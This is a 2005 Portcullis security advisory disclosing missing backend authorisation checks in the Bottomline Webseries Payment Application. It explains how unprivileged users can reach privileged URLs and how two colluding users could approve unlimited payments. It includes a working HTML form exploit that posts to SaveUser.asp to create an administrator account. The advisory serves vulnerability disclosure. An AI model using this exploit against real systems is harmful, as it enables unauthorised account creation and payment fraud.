Portcullis Security Advisory
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Vulnerable System:=20
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Webseries Payment Application
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Vulnerability Title: =20
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Lack of Backend Authorisation Checking
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Vulnerability discovery and development:=20
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Portcullis Security Testing Services
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Affected systems:=20
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Bottomline Webseries Payment Application=20
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Details:
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Portcullis consultants discovered that although privileged operations are
not displayed in the application menu presented to unprivileged users, the=
se
operations may still be executed by directly accessing the appropriate
URL.
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This, in effect, means that the core application is not carrying out any
form of authorisation verification and that any authenticated user,
regardless of the rights they have been assigned, can perform any action
available to any user of the system.
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In its simplest form this vulnerability could be used to gather a lis=
t of
privileged users by accessing the "User Entitlements" report which details
user's security groups and administrative status. An attacker could use
this information to greatly increase their likelihood of success in gaining
unauthorised access.
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Impact:
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An unauthorized user could, by directly accessing the SaveUser.asp script=
create a new user with administrative privileges. Portcullis consultants =
developed
the following simple HTML page to perform this action:
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Any other system operation including user approval, security group
modification and payment approval can be performed in a similar manner.
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The only thing obstructing a malicious attacker from succeeding in such
attacks is that the approval system has been correctly implemented. Even =
by
accessing URLs directly, a user cannot approve their own changes.
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Two unprivileged users, acting in collusion, have the ability to execute a=
ny
function the system is capable of performing. This includes submitting, a=
nd
approving, payments of unlimited value.
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Exploit:
Portcullis consultants developed the following simple HTML page to perform=
this action:
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<html>
<body>
<h1>Add User</h1>
<hr>
<form action=3D"http://target/wsapp/SaveUser.asp" method=3D"post">
Action <input name=3D"Action" value=3D"ADD" type=3D"text"><br>
UserID <input type=3D"text" name=3D"UserID"><br>
UserName <input type=3D"text" name=3D"UserName"><br>
Password 1 <input type=3D"text" name=3D"Password1"><br>
Password 2 <input type=3D"text" name=3D"Password2"><br>
Email <input type=3D"text" name=3D"EMail"><br>
Administrator <input type=3D"checkbox" name=3DAdmin value=3D1><br>
Application User <input type=3D"checkbox" name=3DAppUser value=3D1>=
<br>
User Group <input type=3D"text" name=3D"SelUserGroup" value=3D"111"=
><br>
Security Group <input type=3D"text" name=3D"SecurityGroup" value=3D=
"RegMgr"><br>
<input type=3D"submit" value=3D"submit">
</form>
</html>

Copyright:=20
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Copyright =A9 Portcullis Computer Security Limited 2005, All rights reserve=
d worldwide.
Permission is hereby granted for the electronic redistribution of this info=
rmation. It is not to be edited or altered in any way without the express w=
ritten consent of Portcullis Computer Security Limited.
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Disclaimer:=20
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The information herein contained may change without notice. Use of this inf=
ormation constitutes acceptance for use in an AS IS condition. There are NO=
warranties, implied or otherwise, with regard to this information or its u=
se. Any use of this information is at the user's risk. In no event shall th=
e author/distributor (Portcullis Computer Security Limited) be held liable =
for any damages whatsoever arising out of or in connection with the use or =
spread of this information.
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